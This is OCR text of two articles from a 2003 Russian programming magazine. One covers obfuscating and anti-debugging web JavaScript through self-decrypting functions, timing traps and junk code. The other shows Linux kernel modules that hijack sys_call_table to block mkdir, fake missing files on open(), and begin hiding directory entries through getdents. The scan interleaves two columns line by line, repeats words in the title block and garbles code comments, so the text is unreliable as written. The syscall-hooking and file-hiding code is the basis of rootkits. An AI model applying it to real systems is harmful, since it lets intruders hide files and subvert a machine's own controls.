такой же, какой выдает Internet Explorer), получить соот- нерация страницы JavaScript-методом document. writeln().
ветствующий ответ и сохранить его на диске. В большин- HTML-страница (включающая, возможно, некоторый
стве современных языков программирования такая зада- JavaScript) в этом случае «зашифровывается» в виде неко-
ча решается тривиально. торой бессмысленной на вид строки символов – строковой
Существует и общее решение, позволяющее справить- константы языка JavaScript. Затем вызывается некоторая
ся с любым видом «блокировки кэширования». Это proxy- JavaScript-функция, расшифровывающая эту строку, и ее
сервер, устанавливаемый на клиентский компьютер и результат передается методу document.writeln().
«пропускающий через себя» без модификаций все HTTP- В Интернете можно найти специальные утилиты, выпол-
запросы. Такой proxy может быть совершенно «невиди- няющие подобное преобразование с готовой HTML-страни-
мым» и для клиента, и для сервера. «По пути» proxy-сер- цей. Некоторые из них при этом выполняют сжатие данных,
вер может сохранять на диске все проходящие через него так что «бессмысленная» строка оказывается короче исход-
HTML- и JavaScript-файлы. Скажу больше: proxy-сервер с ного HTML- и JavaScript-кода.
такими возможностями, скорее всего, уже давно суще- При банальной реализации подобную защиту тоже лег-
ствует, например, среди бесплатных утилит ускорения до- ко взломать. Ведь страница уже «вынужденно» содержит
ступа в Интернет. процедуру расшифровки! Ничто не мешает слегка подпра-

№3(4), март 2003 35


программирование
вить исходный текст страницы и вставить перед вызовом
var rng= document.body.createTextRange();
document.writeln() распечатку аргумента этого метода в лю- rng.moveToPoint(0,0);
бое место, откуда его легко прочитать. rng.select();
Тем не менее идея шифрования – одна из самых про-
дуктивных. Мы это увидим в следующих разделах, когда
будем пытаться создать «серьезную» систему защиты. Пока Саморасшифровывающиеся функции
что заметим: ниоткуда не следует, что первый же вызов Самый очевидный путь построения защиты основан на шиф-
процедуры расшифровки сразу «поднесет на блюдечке» ровании. Мы сосредоточимся только на защите JavaScript-
взломщику полностью расшифрованный исходный текст кода: любой HTML-код можно сгенерировать динамически
страницы. Может быть, будет расшифрована только неболь- средствами JavaScript.
шая часть, содержащая, в свою очередь, вызов процеду- Будем считать, что JavaScript-код, в соответствии с хо-
ры расшифровки для следующего фрагмента. Может быть, рошим тоном программирования, состоит из большого ко-
веб-приложение состоит из сотен небольших страниц и вза- личества не слишком больших функций. Мы начнем со сле-
имосвязанных скриптов, в которых не так-то легко найти и дующей идеи.
«подправить» вызовы расшифровывающих процедур. Давайте зашифруем основное тело каждой функции и
Есть одна общая проблема, которую следует иметь в виду добавим в ее начало код, расшифровывающий и исполняю-
при использовании метода document. writeln(). Если содер- щий ее тело. В языке JavaScript это означает, что текст фун-
жимое страницы в Internet Explorer целиком выделить, ско- кции
пировать в ClipBoard и затем попытаться вставить в какой-
нибудь HTML-редактор, например в FrontPage Editor, то со- function somefunction() {
êàêèå-òî îïåðàòîðû;
держимое страницы будет вставлено уже «в готовом виде». }
Если часть страницы (включая какие-то JavaScript-фрагмен-
ты) была сгенерирована вызовом document.writeln(), то в заменяется на эквивалентный текст:
HTML-редактор попадет и скрипт, содержащий вызов и тот
HTML-код, который им был создан. function somefunction() {
var encrypted= "...";
// çàøèôðîâàííûé òåêñò òåõ æå
Шифрование кода ñàìûõ îïåðàòîðîâ
var source=decoding_function (encrypted);
Мы переходим к рассмотрению более сложных технологий eval(source);
защиты исходного кода веб-страниц. Не буду утверждать, }
что они обеспечивают стопроцентную защиту. Может быть,
можно разработать программное обеспечение, гарантиру- Для выполнения такой замены, конечно, следует напи-
ющее достаточно эффективный автоматизированный взлом сать некую автоматическую (или автоматизированную) ути-
описываемых далее защитных механизмов. Но во всяком литу.
случае, задача взлома этих механизмов неочевидна. При таком подходе функции постоянно существуют в за-
шифрованном виде вплоть до момента их вызова, и рас-
О защите видимого HTML-кода сматривать их исходный текст сравнительно бесполезно.
Сразу оговоримся. Описанные далее методы не позволя- Используемый алгоритм шифрования, в частности его
ют защитить конечный HTML (без JavaScript), который криптостойкость, не имеет значения. Все равно все ключи
пользователь в конце концов видит на защищенных стра- для расшифровки, если такие имеются, распространяются
ницах. Видимый HTML всегда можно скопировать из Internet вместе с зашифрованными данными. Единственная цель
Explorer через ClipBoard в HTML-редактор, как уже было шифрования – сделать текст JavaScript визуально нечитае-
сказано в предыдущем разделе. Мне трудно представить мым. Собственно, разумнее всего вместо шифрования ис-
ситуацию, когда HTML, уже видимый пользователю, на- пользовать какой-нибудь простой алгоритм сжатия типа Лем-
столько сложен, что его крайне трудно воспроизвести по пеля-Зива.
содержимому экрана и, соответственно, имеет смысл за- Мы не будем останавливаться на реализации такого ал-
щищать от анализа. горитма – это классическая задача, многократно описанная
Серьезная защита уже визуализированного HTML не- в литературе. Тут есть лишь один специфический подвод-
возможна в принципе. Это очевидно: всегда можно «слег- ный камень.
ка исправить» стандартный браузер, например Internet Как правило, алгоритмы расшифровки (или распаков-
Explorer, так, чтобы в момент анализа HTML-кода и вос- ки сжатых данных) должны получать на вход массив би-
произведения его на экране весь этот HTML сохранялся в нарных данных – некоторую цепочку битов. А строчная
протоколе на диске. Но на «несерьезном» уровне кое-ка- JavaScript-константа, присваиваемая переменной
кая защита все же возможна. encrypted оператором:
Вот пример такой защиты для Internet Explorer, призна-
var encrypted= "...";
юсь, не слишком «изящной». Можно просто запретить
пользователю выделять какие-либо фрагменты страницы, по определению может содержать только текст. Следова-
тогда он не сможет ничего скопировать в ClipBoard. Один тельно, нужно как-то кодировать произвольные бинарные
из способов это сделать в Internet Explorer – 10 раз в секун- данные символами, допустимыми в строчной JavaScript-
ду исполнять примерно такую конструкцию: константе.

36
программирование
Какие символы можно для этого использовать? HTML- Предполагается, что алгоритм зашифровки учитывает эту
или JavaScript-файл, содержащий приведенный выше фраг- операцию. Тогда искажение исходного текста функции сде-
мент JavaScript, – это (скорее всего) обычный текстовый лает расшифровку невозможной.
файл, в котором каждый символ кодируется одним байтом. Только все это – борьба с непрофессионалами. Опыт-
Внутри же языка JavaScript все символы хранятся в форма- ный взломщик может попросту использовать собственный
те Unicode по 2 байта на символ. Байты файла со значения- интерпретатор JavaScript, в котором сам оператор eval бу-
ми 0..127 всегда преобразуются в соответствующие симво- дет записывать свой аргумент на диск. Такому взломщику
лы Unicode, но для байтов 128..255 способ трансляции зави- не нужно менять исходные тексты.
сит от кодировки HTML-страницы, указанной HTTP-заголов- Я предлагаю пойти другим путем. Пусть алгоритм рас-
ком Content-Type или выбранной пользователем в браузе- шифровки (это может быть и одна вызываемая отовсюду
ре. Поэтому «безопасно» использовать в строчной констан- функция) выдает не один полный JavaScript-текст, а серию
те только младшие 128 символов ASCII. Из них «отпадают» небольших JavaScript-кусочков. Исходный текст полной фун-
управляющие символы с кодами 0..31. Также не очень ра- кции somefunction мы превратим в «спагетти»: смесь из ко-
зумно использовать символы " и \, при записи которых в ротких (одна-две строки) незашифрованных фрагментов и
строчной константе нужно добавлять лишний символ \. вызовов eval для столь же коротких расшифрованных ку-
Я бы рекомендовал использовать 64 заведомо «безопас- сочков, выданных алгоритмом расшифровки. Более того, не-
ных» символа, скажем, все латинские буквы, цифры и пару которые расшифрованные кусочки на самом деле будут
знаков препинания. Тогда с помощью каждого символа мож- представлять собой опять же зашифрованный код анало-
но кодировать 6 битов информации. Эти биты можно пере- гичного вида:
дать расшифровывающему алгоритму для восстановления
полного Unicode-текста исходного JavaScript-кода. var encrypted= «...»;
var source= decoding_function(encrypted);
....
«Спагетти» eval(source);
К сожалению, приведенное выше решение только на пер-
вый взгляд кажется действенным. Код source, расшифровываемый здесь, может, в свою
Прежде всего, если расшифровывающая функция – это очередь, быть зашифрован. Количество «уровней» зашиф-
действительно одна-единственная вызываемая отовсюду ровки может быть для каждого расшифровываемого кусоч-
функция JavaScript, то ничего не стоит, располагая полным ка функции своим и случайным.
набором HTML- и JavaScript-файлов, ее найти и подменить, Процесс превращения произвольной функции в подоб-
с тем чтобы все расшифрованные тексты, скажем, сохраня- ное «спагетти» вполне можно сделать автоматическим. На-
лись на диске. писание соответствующего софта – не слишком простая, но
А что, если не делать специальную расшифровывающую и не самая сложная задача. Потребуется лишь корректный
функцию, а просто разместить соответствующий код в каж- синтаксический анализатор JavaScript-кода, да и то не обя-
дой точке, где он нужен? Это не поможет – такой код все зательно полный: скажем, можно не анализировать «внут-
равно можно автоматически повсюду отыскать и заменить ренности» формул, ограничившись разбиением JavaScript-
своим кодом, который будет дополнительно записывать на кода на операторы.
диск расшифрованный текст. Даже если делать расшифро- Не упускаем ли мы что-то очевидное? Увы, пока да.
вывающий код каждый раз немного другим, чтобы его нельзя Если расшифровывающий код будет выглядеть столь
было искать автоматически, все равно остается «узкое мес- банально:
то» – вызов «eval». Все вызовы eval или эквивалентные сред-
ства JavaScript типа var encrypted= "...";
var source= decoding_function(encrypted);
eval(source);
new Function(...)
то нет проблем написать утилиту, которая отыщет все по-
можно без особых усилий отыскать соответствующей авто- добные фрагменты, выполнит расшифровку и заменит вы-
матической утилитой и заменить подходящим JavaScript- зов eval на расшифрованный код. Если даже source будет, в
кодом, который запротоколирует на диске весь расшифро- свою очередь, зашифрован – такую утилиту можно вызвать
ванный текст. многократно.
А может быть, можно помешать злоумышленнику менять Чтобы создание общей расшифровывающей утилиты
исходный текст наших функций? Вообще-то можно. Доста- было невозможно, надо сделать переменную encrypted вы-
точно где-нибудь в расшифровывающем коде получить пол- числяемой – зависящей от хода выполнения программы. На-
ный JavaScript-текст рассматриваемой функции – в JavaScript пример, если выполняется некий цикл, то он может «по пути»
для этого следует выполнить оператор собирать encrypted сложением элементов массива строк. Для
правильной сборки encrypted может, например, использо-
somefunction+"" ваться информация о времени выполнения участков про-
граммы.
(somefunction – имя нашей функции). После чего можно ис- Такой подход к шифрованию, наверное, невозможно пол-
пользовать полученный текст для расшифровки, например, ностью автоматизировать. Программисту придется самому
наложить его в режиме XOR на зашифрованные данные. заботиться о нетривиальной генерации переменных

№3(4), март 2003 37


программирование
encrypted. Но зато теперь написание автоматической про- Самое разумное – использовать результаты измерения
граммы, полностью расшифровывающей весь JavaScript, времени выполнения очень часто, в частности, в циклах. По
может потребовать полного понимания логики работы про- мере исполнения программы, в том числе в процессе рас-
граммы, т.е. того самого, что мы скрываем. шифровки функций, должны постоянно выполняться заме-
Как мне кажется, мы более или менее защитили веб-при- ры времени выполнения. Заведомо слишком большие вре-
ложение от «вскрытия» какими бы то ни было автоматичес- мена должны приводить к тому, что начинает выполняться
кими сканерами, которые анализируют текст программы, не код, достаточно сложный и внешне похожий на нормальный,
выполняя его. В терминах защиты обычных программ, ком- но на самом деле бесполезный и не имеющий отношения к
пилируемых в машинные коды, мы защитились от дизас- решаемой задаче.
семблирования. Чтобы «взломать» такую программу, последовательно
На банальном уровне мы также защитились от специ- «подделывая» все замеры времени, взломщику придется
альных средств исполнения программы вроде собственного выполнить очень большую (возможно, астрономически боль-
интерпретатора JavaScript – теперь взломщику недостаточ- шую) ручную работу. Причем малейшая ошибка взломщика
но «перехватить» пару операторов типа eval, чтобы полу- будет приводить к тому, что он будет незаметно для себя
чить «на блюдечке» первоначальные исходные тексты переходить к анализу пустого и ненужного кода, который
JavaScript-функций. может заканчиваться неприятными тупиками типа зацикли-
Тем не менее, работая с собственным средством испол- вания или открытия на экране тысяч окон-«пустышек».
нения JavaScript, в частности почти с любым качественным
отладчиком, взломщик все же может, выполняя программу Веб-сервер и электронная подпись
шаг за шагом, без особого труда реконструировать исход- Вообще говоря, для борьбы с описанным методом защиты
ные тексты зашифрованных функций. существует сравнительно несложный общий прием. Взлом-
Для борьбы с подобным «on-line» взломом существуют щик может «подделать» таймер, JavaScript-объект Date,
специальные технологии, которые мы рассмотрим в следу- традиционно используемый для измерения времени. Рас-
ющем разделе. полагая собственным отладчиком, можно «подделать»
любой источник информации о времени – скажем, метод
Борьба с отладчиками System.current TimeMillis() из Java-апплетов (и даже низко-
Предположим, что взломщик располагает произвольным уровневую команду процессора Intel RDTSC, в случае если
отладчиком, в худшем для нас случае написанным самим бы мы защищали ассемблерную программу). «Подделан-
взломщиком. Иначе говоря, наш JavaScript исполняется в ный» таймер может выдавать виртуальное время, в кото-
некоторой виртуальной среде, полностью подконтрольной ром не учитываются интервалы пассивного ожидания на-
взломщику. жатия взломщика на клавиши.
Если при этом наше веб-приложение будет работать нор- Существует ли какой-либо источник данных, который
мальным образом, то всякая защита окажется бесполезной. взломщик не может подделать? Вообще говоря, да. Это
Взломщик в любом случае сможет проследить оператор за данные от веб-сервера, защищенные электронной под-
оператором, как исполняются все наши алгоритмы. Может писью.
быть, это будет не столь комфортно, как чтение прокоммен- Мы не можем здесь подробно рассматривать техноло-
тированных исходных текстов, но в принципе задача взлома гию электронной подписи и наиболее популярный в этой
– изучение исходного кода для понимания его логики – бу- области алгоритм RSA. Все это очень легко найти в лите-
дет решена. ратуре, в частности в Интернете.
Мы должны предусмотреть систему противодействия В двух словах, идея здесь следующая. Есть два ключа
отладчику. Коротко говоря, мы должны добиться, чтобы под (длинные цепочки битов): закрытый и открытый. Распола-
отладчиком веб-приложение не работало нормальным об- гая одним ключом, невозможно восстановить другой. Зак-
разом. рытый ключ – секретный, открытый – общедоступный (на-
пример, распространяется вместе с данными). Данные
Тайминг шифруются с помощью закрытого ключа, а расшифровы-
Основной способ борьбы с отладчиками – анализ времени ваются с помощью открытого.
выполнения программы. Очевидно, когда взломщик зани- Если данные удалось расшифровать открытым ключом,
мается «вскрытием» защиты и анализирует исполняемый значит, есть гарантия, что они были зашифрованы соот-
код, программа выполняется несравненно медленнее, чем ветствующим закрытым ключом. Иначе говоря, данные, за-
в нормальных условиях. Для языка JavaScript это, пожа- шифрованные таким способом, – это нечто вроде подписи
луй, единственное, чем хороший отладчик «выдает себя» источника данных, владеющего закрытым ключом. Такую
– в остальном все операторы JavaScript работают обыч- «подпись» подделать невозможно, или, по крайней мере,
ным образом. сегодня неизвестны алгоритмы, позволяющие это сделать
Как этим воспользоваться? менее чем за астрономическое время.
Банальное решение – в случае чересчур долгого испол- Если допустить небольшой обмен данными с веб-сер-
нения некоторого кода выдавать сообщение об ошибке – не вером, к которому взломщик не имеет доступа, то, кажет-
годится. Взломщик просто «обойдет» соответствующую про- ся, ничто не мешает использовать идею электронной под-
верку, подправив «на лету» исполняемый JavaScript или из- писи для получения неподделываемой информации, в час-
менив значение подходящей переменной. Надо быть хитрее. тности, текущего времени. Для обращения к серверу за

38
программирование
зашифрованным временем и расшифровки этого време- вполне ценное, но в конце концов не оказывают влияния
ни, вероятно, лучше использовать Java-апплет – JavaScript на нормальное исполнение программы. Более того, неко-
для такой задачи чересчур неуклюж. Расшифрованное те- торые куски программы, например, начальный этап, на ко-
кущее время можно использовать для замера быстродей- тором расшифровываются первые функции, могут почти
ствия и обнаружения отладчика. По крайней мере, так мож- полностью состоять из подобного «безумного» кода. Взлом-
но поступать иногда, скажем, раз в несколько минут. В боль- щику могут потребоваться сотни часов, чтобы «пробрать-
шинстве ситуаций, чтобы не перегружать Интернет, луч- ся» через десятки тысяч ненужных операторов и дойти до
ше полагаться на обычный тайминг и только иногда «све- той точки, где, наконец, появляется очередной расшифро-
рять» часы JavaScript с показаниями часов сервера. Мож- ванный фрагмент JavaScript. А если к этому добавить тай-
но даже допустить работу в off-line-режиме (без обраще- минг и связь с сервером, то подобное «путешествие» сквозь
ний к серверу) на те периоды времени, пока не исполня- «безумный» код почти наверняка закончится уходом в со-
ется наиболее важный код, требующий особо тщательно- вершенно бессмысленные области или даже обнаружени-
го «скрытия». ем взломщика и блокировкой его IP-адреса.
Конечно, использовать эту технику надо так же хитро,
как и любые другие защитные приемы, рассматривавши- Эквивалентные преобразования
еся выше. Скажем, просто сделать Java-апплет, возвра- Хотелось бы отметить еще один несложный универсаль-
щающий столь сложным образом полученное время, со- ный защитный прием, который может быть довольно эф-
вершенно бессмысленно. Взломщик просто подменит весь фективным для защиты JavaScript-программ. Во всяком
этот апплет. Язык Java нужно использовать только для случае, его почти всегда имеет смысл использовать в до-
сервисных функций – чтения зашифрованных данных с полнение к описанным выше механизмам защиты.
сервера и исполнения «критичных ко времени» фрагмен- Речь идет об эквивалентных преобразованиях
тов алгоритма расшифровки. Сам же алгоритм расшиф- JavaScript-текста, снижающих его читабельность. Конеч-
ровки по открытому ключу должен быть реализован мно- но, простое удаление лишних пробелов и «склеивание»
гократно в рамках саморасшифровывающегося JavaScript, строк – не слишком ценное действие: такой текст очень
в свою очередь, по возможности, защищенного таймингом. легко автоматически сформатировать обратно в читабель-
Идею электронной подписи можно использовать и бо- ный вид. Но вот замена всех идентификаторов – перемен-
лее широко. Скажем, JavaScript-программа может правиль- ных и функций – на бессмысленные эквиваленты типа «v1»,
но работать только при условии, что она имеет связь с «род- «v2», ... может быть полезной.
ным» сервером, причем гарантированно с ним, а не с его Это, конечно, не настоящая защита – любая програм-
виртуальным аналогом. А это значит, что владельцы сер- ма, скомпилированная классическими компиляторами C++
вера могут в принципе организовать наблюдение за испол- или Delphi, уже «защищена» таким образом. Но по край-
нением своих программ. Если сервер обнаружит, что ней мере, это делает «взлом» JavaScript-кода почти такой
JavaScript-программа на некотором клиентском компьюте- же непростой задачей, что и анализ машинного кода обыч-
ре (IP-адресе) исполняется «подозрительным» образом, он ных программ.
может вообще заблокировать дальнейшую работу Вероятно, в Интернете уже есть утилиты, выполняющие
JavaScript на этом компьютере, скажем, неправильной даль- подобное преобразование. Во всяком случае, такую про-
нейшей реакцией на запросы зашифрованных данных с грамму нетрудно написать, располагая синтаксическим ана-
этого IP-адреса. «Подозрительным» может считаться об- лизатором JavaScript.
ращение за некоторыми двумя порциями данных (напри- Приведенные здесь идеи по защите JavaScript-программ
мер, за текущим временем), разделенные слишком боль- от взлома, т.е. несанкционированного изучения исходных
шим временным интервалом, что может свидетельствовать текстов, вполне применимы и к другим языкам. Язык
об исполнении соответствующего кода под отладчиком. JavaScript интересен своей предельной незащищенностью
от такого рода атак. Он позволяет использовать лишь срав-
Маскировка – «безумный» код нительно «серьезные» схемы защиты, построенные на до-
Еще один универсальный способ борьбы со взломщика- статочно фундаментальных идеях. Разного рода частные
ми, располагающими собственным отладчиком, – маски- «трюки», основанные на особых свойствах процессора или
ровка. операционной системы, здесь не проходят.
Цель взломщика – проанализировать логику работы не- Многие из описанных выше идей были почерпнуты ав-
которых алгоритмов, реализованных на JavaScript. Но для тором из книги:
этого нужно увидеть каждый такой алгоритм в относитель- Защита информации в персональных ЭВМ. Спесивцев, Вег-
но «обозримом» виде, скажем, в течение часа проследить нер, Крутяков, Серегин, Сидоров. М., Радио и связь, ВЕС-
работу сотни JavaScript-операторов. А что, если эти сто опе- ТА, 1993. (Библиотека системного программиста).
раторов разбавлены «мусором» из тысячи ненужных опе- Эту книгу написали авторы Cerberus – одной из лучших
раторов, не мешающих работе программы, но крайне за- систем защиты машинного кода, популярных во времена
путывающих потенциального читателя? DOS-программ. В частности, идеи саморасшифровки, тай-
Думаю, вполне можно разработать программный пакет, минга и «безумного» кода – оттуда.
который бы целенаправленно «замусоривал» исходный код
на языке JavaScript (или на любом другом языке) беспо- Автор также признателен участникам форума xpoint.ru,
лезными операторами, которые делают что-то «на вид» неоднократно обсуждавшим тему защиты веб-страниц.

№3(4), март 2003 39


программирование

ПЕРЕХВАТ
СИСТЕМНЫХ
ВЫЗОВОВ В
ОС LINUX

За
За последние
последние годы
годы операционная
операционная система
система
Linux
Linux прочно
прочно заняла
заняла лидирующее
лидирующее положение
положение
вв качестве
качестве серверной
серверной платформы,
платформы, опережая
опережая
многие
многие коммерческие
коммерческие разработки.
разработки. Тем Тем не
не
менее
менее вопросы
вопросы защиты
защиты информационных
информационных
систем,
систем, построенных
построенных нана базе
базе этой
этой ОС,
ОС, не
не
перестают
перестают быть
быть актуальными.
актуальными. Существует
Существует
большое
большое количество
количество технических
технических средств,
средств,
как
как программных,
программных, тактак ии аппаратных,
аппаратных, которые
которые
позволяют
позволяют обеспечить
обеспечить безопасность
безопасность
системы.
системы. Это
Это средства
средства шифрования
шифрования данныхданных
ии сетевого
сетевого трафика,
трафика, разграничения
разграничения прав прав
доступа
доступа кк информационным
информационным ресурсам,
ресурсам,
защиты
защиты электронной
электронной почты,
почты, веб-серверов,
веб-серверов,
антивирусной
антивирусной защиты,
защиты, ии т.т. д.
д. Список,
Список, как
как вы
вы
понимаете,
понимаете, достаточно
достаточно длинный.
длинный.
ВВ данной
данной статье
статье предлагаем
предлагаем вам вам рассмотреть
рассмотреть
механизм
механизм защиты,
защиты, основанный
основанный на на перехвате
перехвате
системных
системных вызовов
вызовов операционной
операционной системы
системы
Linux.
Linux. Данный
Данный механизм
механизм позволяет
позволяет взять
взять под
под
контроль
контроль работу
работу любого
любого приложения
приложения ии тем тем
самым
самым предотвратить
предотвратить возможные
возможные
деструктивные
деструктивные действия,
действия, которые
которые онооно может
может
выполнить.
выполнить.
ВЛАДИМИР МЕШКОВ
40
программирование
Системные вызовы movl $1, %eax movl $0, %ebx int $0x80
Начнем с определения. Системные вызовы – это набор
функций, реализованных в ядре ОС. Любой запрос при- В сегменте данных укажем имя создаваемого файла:
ложения пользователя в конечном итоге трансформиру-
ется в системный вызов, который выполняет запрашива- .data
емое действие. Полный перечень системных вызовов ОС filename: .string "file.txt"
Linux находится в файле /usr/include/asm/unistd.h. Давай-
те рассмотрим общий механизм выполнения системных Компилируем:
вызовов на примере. Пусть в исходном тексте приложе-
ния вызывается функция creat() для создания нового фай- gcc -ñ test.S
ld -s -o test test.o
ла. Компилятор, встретив вызов данной функции, преоб-
разует его в ассемблерный код, обеспечивая загрузку В текущем каталоге появится исполняемый файл test.
номера системного вызова, соответствующего данной Запустив его, мы создадим новый файл с именем file.txt.
функции, и ее параметров в регистры процессора и пос- А теперь давайте вернемся к рассмотрению меха-
ледующий вызов прерывания 0x80. В регистры процессо- низма системных вызовов. Итак, ядро вызывает обра-
ра загружаются следующие значения: ботчик прерывания 0x80 – функцию system_call.
 в регистр EAX – номер системного вызова. Так, для на- System_call помещает копии регистров, содержащих
шего случая номер системного вызова будет равен 8 параметры вызова, в стек при помощи макроса
(см. __NR_creat); SAVE_ALL и командой call вызывает нужную системную
 в регистр EBX – первый параметр функции (для creat функцию. Таблица указателей на функции ядра, кото-
это указатель на строку, содержащую имя создавае- рые реализуют системные вызовы, расположена в мас-
мого файла); сиве sys_call_table (см. файл arch/i386/kernel/entry.S).
 в регистр ECX – второй параметр (права доступа к Номер системного вызова, который находится в регис-
файлу). тре EAX, является индексом в этом массиве. Таким об-
разом, если в EAX находится значение 8, будет вызва-
В регистр EDX загружается третий параметр, в данном на функция ядра sys_creat(). Зачем нужен макрос
случае он у нас отсутствует. Для выполнения системного SAVE_ALL? Объяснение тут очень простое. Так как
вызова в ОС Linux используется функция system_call, ко- практически все системные функции ядра написаны на
торая определена в файле /usr/src/liux/arch/i386/kernel/ С, то свои параметры они ищут в стеке. А параметры
entry.S. Эта функция – точка входа для всех системных помещаются в стек при помощи макроса SAVE_ALL!
вызовов. Ядро реагирует на прерывание 0x80 обращени- Возвращаемое системным вызовом значение сохраня-
ем к функции system_call, которая, по сути, представляет ется в регистр EAX.
собой обработчик прерывания 0x80. Теперь давайте выясним, как перехватить систем-
Чтобы убедиться, что мы на правильном пути, напи- ный вызов. Поможет нам в этом механизм загружае-
шем небольшой тестовый фрагмент на ассемблере. В нем мых модулей ядра. Хотя ранее мы уже рассматривали
увидим, во что превращается функция creat() после ком- вопросы разработки и применения модулей ядра, в ин-
пиляции. Файл назовем test.S. Вот его содержание: тересах последовательности изложения материала рас-
смотрим кратко, что такое модуль ядра, из чего он со-
.globl _start стоит и как взаимодействует с системой.
.text
_start:
Загружаемый модуль ядра
В регистр EAX загружаем номер системного вызова: Загружаемый модуль ядра (обозначим его LKM –
Loadable Kernel Module) – это программный код, выпол-
movl $8, %eax няемый в пространстве ядра. Главной особенностью LKM
является возможность динамической загрузки и выгруз-
В регистр EBX – первый параметр, указатель на стро- ки без необходимости перезагрузки всей системы или
ку с именем файла: перекомпиляции ядра.
Каждый LKM состоит из двух основных функций (ми-
movl $filename, %ebx нимум):
 функция инициализации модуля. Вызывается при
В регистр ECX – второй параметр, права доступа: загрузке LKM в память:

movl $0, %ecx int init_module(void) { ... }

Вызываем прерывание:  функция выгрузки модуля:

int $0x80 void cleanup_module(void) { ... }

Выходим из программы. Для этого вызовем функцию exit(0): Приведем пример простейшего модуля:

№3(4), март 2003 41


программирование
#define MODULE рой содержится имя создаваемого каталога. Рассмотрим
#include <linux/module.h> код, осуществляющий перехват соответствующего сис-
int init_module(void) темного вызова.
{
printk("Hello World\n"); #include <linux/module.h>
return 0; #include <linux/kernel.h>
}
#include <sys/syscall.h>
void cleanup_module(void)
{ Экспортируем таблицу системных вызовов:
printk("Bye\n");
}
extern void *sys_call_table[];
Компилируем и загружаем модуль. Загрузку модуля в
память осуществляет команда insmod: Определим указатель для сохранения оригинального
системного вызова:
gcc -c -O3 helloworld.c
insmod helloworld.o int (*orig_mkdir)(const char *path);

Информация обо всех загруженных в данный момент Создадим собственный системный вызов. Наш вызов
в систему модулях находится в файле /proc/modules. Что- ничего не делает, просто возвращает нулевое значение:
бы убедиться, что модуль загружен, введите команду cat
/proc/modules либо lsmod. Выгружает модуль команда int own_mkdir(const char *path)
{
rmmod: return 0;
}
rmmod helloworld
Во время инициализации модуля сохраняем указатель
на оригинальный вызов и производим замену системного
Алгоритм перехвата системного вызова вызова:
Для реализации модуля, перехватывающего системный
вызов, необходимо определить алгоритм перехвата. Ал- int init_module()
горитм следующий: {
orig_mkdir=sys_call_table[SYS_mkdir];
 сохранить указатель на оригинальный (исходный) вы- sys_call_table[SYS_mkdir]=own_mkdir; return 0;
зов для возможности его восстановления; }
 создать функцию, реализующую новый системный вы-
зов; При выгрузке восстанавливаем оригинальный вызов:
 в таблице системных вызовов sys_call_table произве-
сти замену вызовов, т.е. настроить соответствующий void cleanup_module()
{
указатель на новый системный вызов; sys_call_table[SYS_mkdir]=orig_mkdir;
 по окончании работы (при выгрузке модуля) восстано- }
вить оригинальный системный вызов, используя ранее
сохраненный указатель. Код сохраним в файле sys_mkdir_call.c. Для получе-
ния объектного модуля создадим Makefile следующего
Выяснить, какие системные вызовы задействуются содержания:
при работе приложения пользователя, позволяет трас-
сировка. Осуществив трассировку, можно определить, CC = gcc
CFLAGS = -O3 -Wall -fomit-frame-pointer
какой именно системный вызов следует перехватить, MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include
чтобы взять под контроль работу приложения. Пример
sys_mkdir_call.o: sys_mkdir_call.c
использования программы трассировки будет рассмот- $(CC) -c $(CFLAGS) $(MODFLAGS) sys_mkdir_call.c
рен ниже.
Теперь у нас достаточно информации, чтобы присту- Командой make создадим модуль ядра. Загрузив его,
пить к изучению примеров реализации модулей, осуще- попытаемся создать каталог командой mkdir. Как вы мо-
ствляющих перехват системных вызовов. жете убедиться, ничего при этом не происходит. Команда
не работает. Для восстановления ее работоспособности
достаточно выгрузить модуль.
Примеры перехвата Запрет чтения файла
системных вызовов Для того чтобы прочитать файл, его необходимо вначале
открыть при помощи функции open. Легко догадаться, что
Запрет создания каталогов этой функции соответствует системный вызов sys_open.
При создании каталога вызывается функция ядра Перехватив его, мы можем защитить файл от прочтения.
sys_mkdir. В качестве параметра задается строка, в кото- Рассмотрим реализацию модуля-перехватчика.

42
программирование
#include <linux/module.h> return 0;
#include <linux/kernel.h> }
#include <sys/syscall.h>
#include <linux/types.h> void cleanup_module()
#include <linux/slab.h> {
#include <linux/string.h> sys_call_table[SYS_open]=orig_open;
#include <asm/uaccess.h> }
extern void *sys_call_table[];
Сохраним код в файле sys_open_call.c и создадим
Указатель для сохранения оригинального системного Makefile для получения объектного модуля:
вызова:
CC = gcc
CFLAGS = -O2 -Wall -fomit-frame-pointer
int (*orig_open)(const char *pathname, int flag, int mode); MODFLAGS = -D__KERNEL__ -DMODULE -I/usr/src/linux/include
sys_open_call.o: sys_open_call.c
Первым параметром функции open является имя откры- $(CC) -c $(CFLAGS) $(MODFLAGS) sys_open_call.c
ваемого файла. Новый системный вызов должен сравнить
этот параметр с именем файла, который мы хотим защи- В текущем каталоге создадим файл с именем test.txt,
тить. Если имена совпадут, будет сымитирована ошибка загрузим модуль и введем команду cat test.txt. Система
открытия файла. Наш новый системный вызов имеет вид: сообщит об отсутствии файла с таким именем.
Честно говоря, такую защиту легко обойти. Достаточ-
int own_open(const char *pathname, int flag, int mode) но командой mv переименовать файл, а затем прочесть
{ его содержимое.

Сюда поместим имя открываемого файла: Сокрытие записи о файле в каталоге


Определим, какой системный вызов отвечает за чтение
char *kernel_path; содержимого каталога. Для этого напишем еще один тес-
товый фрагмент, который занимается чтением текущей
Имя файла, который мы хотим защитить: директории:

char hide[]="test.txt" /* Ôàéë dir.c*/


#include <stdio.h>
#include <dirent.h>
Выделим память и скопируем туда имя открываемого
int main ()
файла: {
DIR *d;
struct dirent *dp;
kernel_path=(char *)kmalloc(255,GFP_KERNEL);
copy_from_user(kernel_path, pathname, 255); d = opendir(«.»);
dp = readdir(d);

Сравниваем: return 0;

}
if(strstr(kernel_path,(char *)&hide) != NULL) {
Получим исполняемый модуль:
Освобождаем память и возвращаем код ошибки при
совпадении имен: gcc -o dir dir.c

kfree(kernel_path);
return -ENOENT; и выполним его трассировку:
}
else { strace ./dir

Если имена не совпали, вызываем оригинальный сис- Обратим внимание на предпоследнюю строку:
темный вызов для выполнения стандартной процедуры от-
крытия файла: getdents (6, /* 4 entries*/, 3933) = 72;

kfree(kernel_path); Содержимое каталога считывает функция getdents.


return orig_open(pathname, flag, mode);
} Результат сохраняется в виде списка структур типа struct
} dirent. Второй параметр этой функции является указате-
лем на этот список. Функция возвращает длину всех за-
Далее смотрите комментарии к предыдущему примеру. писей в каталоге. В нашем примере функция getdents оп-
ределила наличие в текущем каталоге четырех записей –
